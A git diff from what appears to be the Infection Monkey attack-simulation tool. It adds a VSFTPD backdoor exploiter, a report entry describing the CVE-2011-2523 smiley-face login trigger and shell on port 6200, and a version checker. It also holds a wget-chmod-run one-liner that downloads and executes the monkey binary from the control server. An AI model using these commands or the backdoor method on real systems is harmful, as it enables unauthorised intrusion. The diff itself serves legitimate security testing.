||||||
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
|
|
||||||
'default': ''
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"exploits": {
|
"exploits": {
|
||||||
|
@ -773,7 +756,8 @@ SCHEMA = {
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter"
|
"HadoopExploiter",
|
||||||
|
"VSFTPDExploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
|
|
@ -46,22 +46,12 @@ class RemoteRunAwsService:
|
||||||
return RemoteRunAwsService.aws_instance.is_aws_instance()
|
return RemoteRunAwsService.aws_instance.is_aws_instance()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_aws_auth_params():
|
def update_aws_region_authless():
|
||||||
"""
|
"""
|
||||||
Updates the AWS authentication parameters according to config
|
Updates the AWS region without auth params (via IAM role)
|
||||||
:return: True if new params allow successful authentication. False otherwise
|
|
||||||
"""
|
"""
|
||||||
access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True)
|
|
||||||
secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True)
|
|
||||||
|
|
||||||
if (access_key_id != AwsService.access_key_id) or (secret_access_key != AwsService.secret_access_key):
|
|
||||||
AwsService.set_auth_params(access_key_id, secret_access_key)
|
|
||||||
RemoteRunAwsService.is_auth = AwsService.test_client()
|
|
||||||
|
|
||||||
AwsService.set_region(RemoteRunAwsService.aws_instance.region)
|
AwsService.set_region(RemoteRunAwsService.aws_instance.region)
|
||||||
|
|
||||||
return RemoteRunAwsService.is_auth
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_bitness(instances):
|
def get_bitness(instances):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -41,7 +41,8 @@ class ReportService:
|
||||||
'Struts2Exploiter': 'Struts2 Exploiter',
|
'Struts2Exploiter': 'Struts2 Exploiter',
|
||||||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||||
'MSSQLExploiter': 'MSSQL Exploiter'
|
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||||
|
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -57,7 +58,8 @@ class ReportService:
|
||||||
WEBLOGIC = 9
|
WEBLOGIC = 9
|
||||||
HADOOP = 10
|
HADOOP = 10
|
||||||
PTH_CRIT_SERVICES_ACCESS = 11,
|
PTH_CRIT_SERVICES_ACCESS = 11,
|
||||||
MSSQL = 12
|
MSSQL = 12,
|
||||||
|
VSFTPD = 13
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -254,6 +256,7 @@ class ReportService:
|
||||||
else:
|
else:
|
||||||
processed_exploit['type'] = 'hash'
|
processed_exploit['type'] = 'hash'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_smb_exploit(exploit):
|
def process_smb_exploit(exploit):
|
||||||
|
@ -289,6 +292,12 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'rdp'
|
processed_exploit['type'] = 'rdp'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_vsftpd_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'vsftp'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_sambacry_exploit(exploit):
|
def process_sambacry_exploit(exploit):
|
||||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
|
@ -355,7 +364,8 @@ class ReportService:
|
||||||
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
||||||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||||
'MSSQLExploiter': ReportService.process_mssql_exploit
|
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||||
|
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -644,6 +654,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
|
||||||
elif issue['type'] == 'sambacry':
|
elif issue['type'] == 'sambacry':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
|
||||||
|
elif issue['type'] == 'vsftp':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
|
||||||
elif issue['type'] == 'shellshock':
|
elif issue['type'] == 'shellshock':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
||||||
elif issue['type'] == 'conficker':
|
elif issue['type'] == 'conficker':
|
||||||
|
|
|
@ -0,0 +1,57 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
from monkey_island.cc.environment.environment import env
|
||||||
|
|
||||||
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class VersionUpdateService:
|
||||||
|
VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com'
|
||||||
|
VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s'
|
||||||
|
VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true'
|
||||||
|
|
||||||
|
newer_version = None
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_newer_version():
|
||||||
|
"""
|
||||||
|
Checks for newer version if never checked before.
|
||||||
|
:return: None if failed checking for newer version, result of '_check_new_version' otherwise
|
||||||
|
"""
|
||||||
|
if VersionUpdateService.newer_version is None:
|
||||||
|
try:
|
||||||
|
VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
|
||||||
|
except Exception:
|
||||||
|
logger.exception('Failed updating version number')
|
||||||
|
|
||||||
|
return VersionUpdateService.newer_version
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _check_new_version():
|
||||||
|
"""
|
||||||
|
Checks if newer monkey version is available
|
||||||
|
:return: False if not, version in string format ('1.6.2') otherwise
|
||||||
|
"""
|
||||||
|
url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), env.get_version())
|
||||||
|
|
||||||
|
reply = requests.get(url, timeout=15)
|
||||||
|
|
||||||
|
res = reply.json().get('newer_version', None)
|
||||||
|
|
||||||
|
if res is False:
|
||||||
|
return res
|
||||||
|
|
||||||
|
[int(x) for x in res.split('.')] # raises value error if version is invalid format
|
||||||
|
return res
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_download_link():
|
||||||
|
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
{
|
{
|
||||||
"presets": ["es2015", "stage-0", "react"]
|
"presets": ["es2015", "stage-0", "react"],
|
||||||
|
"plugins": ["emotion"]
|
||||||
}
|
}
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -65,8 +65,8 @@
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@kunukn/react-collapse": "^1.0.5",
|
"@kunukn/react-collapse": "^1.0.5",
|
||||||
"bootstrap": "^3.3.7",
|
|
||||||
"classnames": "^2.2.6",
|
"classnames": "^2.2.6",
|
||||||
|
"bootstrap": "3.4.1",
|
||||||
"core-js": "^2.5.7",
|
"core-js": "^2.5.7",
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
|
@ -98,6 +98,8 @@
|
||||||
"react-tooltip-lite": "^1.9.1",
|
"react-tooltip-lite": "^1.9.1",
|
||||||
"redux": "^4.0.0",
|
"redux": "^4.0.0",
|
||||||
"sass-loader": "^7.1.0",
|
"sass-loader": "^7.1.0",
|
||||||
"sha3": "^2.0.0"
|
"sha3": "^2.0.0",
|
||||||
|
"react-spinners": "^0.5.4",
|
||||||
|
"@emotion/core": "^10.0.10"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -20,6 +20,7 @@ import 'react-data-components/css/table-twbs.css';
|
||||||
import 'styles/App.css';
|
import 'styles/App.css';
|
||||||
import 'react-toggle/style.css';
|
import 'react-toggle/style.css';
|
||||||
import 'react-table/react-table.css';
|
import 'react-table/react-table.css';
|
||||||
|
import VersionComponent from "./side-menu/VersionComponent";
|
||||||
|
|
||||||
let logoImage = require('../images/monkey-icon.svg');
|
let logoImage = require('../images/monkey-icon.svg');
|
||||||
let infectionMonkeyImage = require('../images/infection-monkey.svg');
|
let infectionMonkeyImage = require('../images/infection-monkey.svg');
|
||||||
|
@ -85,7 +86,7 @@ class AppComponent extends AuthComponent {
|
||||||
infection_done: false,
|
infection_done: false,
|
||||||
report_done: false,
|
report_done: false,
|
||||||
isLoggedIn: undefined
|
isLoggedIn: undefined
|
||||||
}
|
},
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -175,6 +176,7 @@ class AppComponent extends AuthComponent {
|
||||||
<div className="license-link text-center">
|
<div className="license-link text-center">
|
||||||
<NavLink to="/license">License</NavLink>
|
<NavLink to="/license">License</NavLink>
|
||||||
</div>
|
</div>
|
||||||
|
<VersionComponent/>
|
||||||
</Col>
|
</Col>
|
||||||
<Col sm={9} md={10} smOffset={3} mdOffset={2} className="main">
|
<Col sm={9} md={10} smOffset={3} mdOffset={2} className="main">
|
||||||
<Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/>
|
<Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/>
|
||||||
|
|
|
@ -75,19 +75,6 @@ class MatrixComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
resetConfig = () => {
|
|
||||||
this.authFetch('/api/attack',
|
|
||||||
{
|
|
||||||
method: 'POST',
|
|
||||||
headers: {'Content-Type': 'application/json'},
|
|
||||||
body: JSON.stringify('reset_attack_matrix')
|
|
||||||
})
|
|
||||||
.then(res => res.json())
|
|
||||||
.then(res => {
|
|
||||||
this.updateStateFromConfig(res.configuration, 'reset')
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
getTableData = (config) => {
|
getTableData = (config) => {
|
||||||
let configCopy = JSON.parse(JSON.stringify(config));
|
let configCopy = JSON.parse(JSON.stringify(config));
|
||||||
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
|
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
|
||||||
|
|
|
@ -75,10 +75,12 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
|
|
||||||
setInitialConfig(config) {
|
setInitialConfig(config) {
|
||||||
|
// Sets a reference to know if config was changed
|
||||||
this.initialConfig = JSON.parse(JSON.stringify(config));
|
this.initialConfig = JSON.parse(JSON.stringify(config));
|
||||||
}
|
}
|
||||||
|
|
||||||
setInitialAttackConfig(attackConfig) {
|
setInitialAttackConfig(attackConfig) {
|
||||||
|
// Sets a reference to know if attack config was changed
|
||||||
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
|
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -138,9 +140,9 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
return res;
|
return res;
|
||||||
})
|
})
|
||||||
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);
|
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
|
||||||
this.setState({lastAction: 'saved'})})
|
|
||||||
.then(this.updateConfig())
|
.then(this.updateConfig())
|
||||||
|
.then(this.setState({lastAction: 'saved'}))
|
||||||
.catch(error => {
|
.catch(error => {
|
||||||
this.setState({lastAction: 'invalid_configuration'});
|
this.setState({lastAction: 'invalid_configuration'});
|
||||||
});
|
});
|
||||||
|
@ -149,19 +151,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
configSubmit = () => {
|
configSubmit = () => {
|
||||||
// Submit monkey configuration
|
// Submit monkey configuration
|
||||||
this.updateConfigSection();
|
this.updateConfigSection();
|
||||||
this.authFetch(CONFIG_URL,
|
this.sendConfig()
|
||||||
{
|
|
||||||
method: 'POST',
|
|
||||||
headers: {'Content-Type': 'application/json'},
|
|
||||||
body: JSON.stringify(this.state.configuration)
|
|
||||||
})
|
|
||||||
.then(res => {
|
|
||||||
if (!res.ok)
|
|
||||||
{
|
|
||||||
throw Error()
|
|
||||||
}
|
|
||||||
return res;
|
|
||||||
})
|
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
this.setState({
|
this.setState({
|
||||||
|
@ -175,7 +165,6 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
console.log('bad configuration');
|
console.log('bad configuration');
|
||||||
this.setState({lastAction: 'invalid_configuration'});
|
this.setState({lastAction: 'invalid_configuration'});
|
||||||
});
|
});
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
// Alters attack configuration when user toggles technique
|
// Alters attack configuration when user toggles technique
|
||||||
|
@ -187,13 +176,19 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
let tempMatrix = this.state.attackConfig;
|
let tempMatrix = this.state.attackConfig;
|
||||||
tempMatrix[techType[0]].properties[technique].value = value;
|
tempMatrix[techType[0]].properties[technique].value = value;
|
||||||
this.setState({attackConfig: tempMatrix});
|
this.setState({attackConfig: tempMatrix});
|
||||||
// Toggle all mapped techniques
|
|
||||||
if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('depends_on')){
|
|
||||||
tempMatrix[techType[0]].properties[technique].depends_on.forEach(mappedTechnique => {
|
|
||||||
this.attackTechniqueChange(mappedTechnique, value, true)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
|
// Toggle all mapped techniques
|
||||||
|
if (! mapped ){
|
||||||
|
// Loop trough each column and each row
|
||||||
|
Object.entries(this.state.attackConfig).forEach(otherType => {
|
||||||
|
Object.entries(otherType[1].properties).forEach(otherTech => {
|
||||||
|
// If this technique depends on a technique that was changed
|
||||||
|
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
|
||||||
|
this.attackTechniqueChange(otherTech[0], value, true)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
@ -245,12 +240,12 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
|
|
||||||
setSelectedSection = (key) => {
|
setSelectedSection = (key) => {
|
||||||
this.updateConfigSection();
|
|
||||||
if ((key === 'attack' && this.userChangedConfig()) ||
|
if ((key === 'attack' && this.userChangedConfig()) ||
|
||||||
(this.currentSection === 'attack' && this.userChangedMatrix())){
|
(this.currentSection === 'attack' && this.userChangedMatrix())){
|
||||||
this.setState({showAttackAlert: true});
|
this.setState({showAttackAlert: true});
|
||||||
return
|
return;
|
||||||
}
|
}
|
||||||
|
this.updateConfigSection();
|
||||||
this.currentSection = key;
|
this.currentSection = key;
|
||||||
this.setState({
|
this.setState({
|
||||||
selectedSection: key
|
selectedSection: key
|
||||||
|
@ -274,12 +269,14 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
this.setInitialConfig(res.configuration);
|
this.setInitialConfig(res.configuration);
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
}).then(this.authFetch(ATTACK_URL,{ method: 'POST',
|
});
|
||||||
|
this.authFetch(ATTACK_URL,{ method: 'POST',
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
body: JSON.stringify('reset_attack_matrix')}))
|
body: JSON.stringify('reset_attack_matrix')})
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
this.setState({attackConfig: res.configuration})
|
this.setState({attackConfig: res.configuration});
|
||||||
|
this.setInitialAttackConfig(res.configuration);
|
||||||
})
|
})
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -304,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
configuration: JSON.parse(event.target.result),
|
configuration: JSON.parse(event.target.result),
|
||||||
selectedSection: 'basic',
|
selectedSection: 'basic',
|
||||||
lastAction: 'import_success'
|
lastAction: 'import_success'
|
||||||
});
|
}, () => {this.sendConfig()});
|
||||||
this.currentSection = 'basic';
|
this.currentSection = 'basic';
|
||||||
this.currentFormData = {};
|
this.currentFormData = {};
|
||||||
} catch(SyntaxError) {
|
} catch(SyntaxError) {
|
||||||
|
@ -317,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
|
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
|
||||||
};
|
};
|
||||||
|
|
||||||
|
sendConfig() {
|
||||||
|
return (
|
||||||
|
this.authFetch('/api/configuration/island',
|
||||||
|
{
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json'},
|
||||||
|
body: JSON.stringify(this.state.configuration)
|
||||||
|
})
|
||||||
|
.then(res => {
|
||||||
|
if (!res.ok)
|
||||||
|
{
|
||||||
|
throw Error()
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}).catch(error => {
|
||||||
|
console.log('bad configuration');
|
||||||
|
this.setState({lastAction: 'invalid_configuration'});
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
importConfig = (event) => {
|
importConfig = (event) => {
|
||||||
let reader = new FileReader();
|
let reader = new FileReader();
|
||||||
reader.onload = this.onReadFile;
|
reader.onload = this.onReadFile;
|
||||||
|
@ -393,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
|
|
||||||
static getFullPBAfile(filename){
|
static getFullPBAfile(filename){
|
||||||
let pbaFile = [{
|
return [{
|
||||||
source: filename,
|
source: filename,
|
||||||
options: {
|
options: {
|
||||||
type: 'limbo'
|
type: 'limbo'
|
||||||
}
|
}
|
||||||
}];
|
}];
|
||||||
return pbaFile
|
|
||||||
}
|
}
|
||||||
|
|
||||||
static getMockPBAfile(mockFile){
|
static getMockPBAfile(mockFile){
|
||||||
|
@ -527,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
{ this.state.lastAction === 'invalid_configuration' ?
|
{ this.state.lastAction === 'invalid_configuration' ?
|
||||||
<div className="alert alert-danger">
|
<div className="alert alert-danger">
|
||||||
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||||
An invalid configuration file was imported and submitted, probably outdated.
|
An invalid configuration file was imported or submitted.
|
||||||
</div>
|
</div>
|
||||||
: ''}
|
: ''}
|
||||||
{ this.state.lastAction === 'import_success' ?
|
{ this.state.lastAction === 'import_success' ?
|
||||||
|
|
|
@ -32,7 +32,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
WEBLOGIC: 9,
|
WEBLOGIC: 9,
|
||||||
HADOOP: 10,
|
HADOOP: 10,
|
||||||
PTH_CRIT_SERVICES_ACCESS: 11,
|
PTH_CRIT_SERVICES_ACCESS: 11,
|
||||||
MSSQL: 12
|
MSSQL: 12,
|
||||||
|
VSFTPD: 13
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -314,6 +315,10 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Elasticsearch servers are vulnerable to <a
|
<li>Elasticsearch servers are vulnerable to <a
|
||||||
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
|
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
|
||||||
</li> : null}
|
</li> : null}
|
||||||
|
{this.state.report.overview.issues[this.Issue.VSFTPD] ?
|
||||||
|
<li>VSFTPD is vulnerable to <a
|
||||||
|
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
|
||||||
|
</li> : null}
|
||||||
{this.state.report.overview.issues[this.Issue.SAMBACRY] ?
|
{this.state.report.overview.issues[this.Issue.SAMBACRY] ?
|
||||||
<li>Samba servers are vulnerable to ‘SambaCry’ (<a
|
<li>Samba servers are vulnerable to ‘SambaCry’ (<a
|
||||||
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
|
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
|
||||||
|
@ -424,6 +429,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
generateReportGlanceSection() {
|
generateReportGlanceSection() {
|
||||||
let exploitPercentage =
|
let exploitPercentage =
|
||||||
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
|
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
|
||||||
|
@ -698,6 +704,28 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateVsftpdBackdoorIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Update your VSFTPD server to the latest version vsftpd-3.0.3.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span
|
||||||
|
className="label label-danger">6200</span>.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
|
||||||
|
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
|
||||||
|
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
|
||||||
|
<br/><br/>
|
||||||
|
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
|
||||||
|
<br/><br/>Read more about the security issue and remediation <a
|
||||||
|
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
|
||||||
|
>here</a>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateElasticIssue(issue) {
|
generateElasticIssue(issue) {
|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
|
@ -913,6 +941,9 @@ generateMSSQLIssue(issue) {
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
let data;
|
let data;
|
||||||
switch (issue.type) {
|
switch (issue.type) {
|
||||||
|
case 'vsftp':
|
||||||
|
data = this.generateVsftpdBackdoorIssue(issue);
|
||||||
|
break;
|
||||||
case 'smb_password':
|
case 'smb_password':
|
||||||
data = this.generateSmbPasswordIssue(issue);
|
data = this.generateSmbPasswordIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
|
|
@ -1,11 +1,20 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import {Button, Col, Well, Nav, NavItem, Collapse, Form, FormControl, FormGroup} from 'react-bootstrap';
|
import { css } from '@emotion/core';
|
||||||
|
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
|
||||||
import CopyToClipboard from 'react-copy-to-clipboard';
|
import CopyToClipboard from 'react-copy-to-clipboard';
|
||||||
|
import GridLoader from 'react-spinners/GridLoader';
|
||||||
|
|
||||||
import {Icon} from 'react-fa';
|
import {Icon} from 'react-fa';
|
||||||
import {Link} from 'react-router-dom';
|
import {Link} from 'react-router-dom';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
import AwsRunTable from "../run-monkey/AwsRunTable";
|
import AwsRunTable from "../run-monkey/AwsRunTable";
|
||||||
|
|
||||||
|
const loading_css_override = css`
|
||||||
|
display: block;
|
||||||
|
margin-right: auto;
|
||||||
|
margin-left: auto;
|
||||||
|
`;
|
||||||
|
|
||||||
class RunMonkeyPageComponent extends AuthComponent {
|
class RunMonkeyPageComponent extends AuthComponent {
|
||||||
|
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
|
@ -20,12 +29,12 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
showManual: false,
|
showManual: false,
|
||||||
showAws: false,
|
showAws: false,
|
||||||
isOnAws: false,
|
isOnAws: false,
|
||||||
isAwsAuth: false,
|
|
||||||
awsUpdateClicked: false,
|
awsUpdateClicked: false,
|
||||||
awsUpdateFailed: false,
|
awsUpdateFailed: false,
|
||||||
awsKeyId: '',
|
awsMachines: [],
|
||||||
awsSecretKey: '',
|
isLoadingAws: true,
|
||||||
awsMachines: []
|
isErrorWhileCollectingAwsMachines: false,
|
||||||
|
awsMachineCollectionErrorMsg: ''
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -48,13 +57,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
|
|
||||||
this.fetchAwsInfo();
|
this.fetchAwsInfo();
|
||||||
this.fetchConfig()
|
this.fetchConfig();
|
||||||
.then(config => {
|
|
||||||
this.setState({
|
|
||||||
awsKeyId: config['cnc']['aws_config']['aws_access_key_id'],
|
|
||||||
awsSecretKey: config['cnc']['aws_config']['aws_secret_access_key']
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
this.authFetch('/api/client-monkey')
|
this.authFetch('/api/client-monkey')
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
|
@ -75,17 +78,29 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
.then(res =>{
|
.then(res =>{
|
||||||
let is_aws = res['is_aws'];
|
let is_aws = res['is_aws'];
|
||||||
if (is_aws) {
|
if (is_aws) {
|
||||||
this.setState({isOnAws: true, awsMachines: res['instances'], isAwsAuth: res['auth']});
|
// On AWS!
|
||||||
|
// Checks if there was an error while collecting the aws machines.
|
||||||
|
let is_error_while_collecting_aws_machines = (res['error'] != null);
|
||||||
|
if (is_error_while_collecting_aws_machines) {
|
||||||
|
// There was an error. Finish loading, and display error message.
|
||||||
|
this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false});
|
||||||
|
} else {
|
||||||
|
// No error! Finish loading and display machines for user
|
||||||
|
this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false});
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Not on AWS. Finish loading and don't display the AWS div.
|
||||||
|
this.setState({isOnAws: false, isLoadingAws: false});
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
generateLinuxCmd(ip, is32Bit) {
|
static generateLinuxCmd(ip, is32Bit) {
|
||||||
let bitText = is32Bit ? '32' : '64';
|
let bitText = is32Bit ? '32' : '64';
|
||||||
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
||||||
}
|
}
|
||||||
|
|
||||||
generateWindowsCmd(ip, is32Bit) {
|
static generateWindowsCmd(ip, is32Bit) {
|
||||||
let bitText = is32Bit ? '32' : '64';
|
let bitText = is32Bit ? '32' : '64';
|
||||||
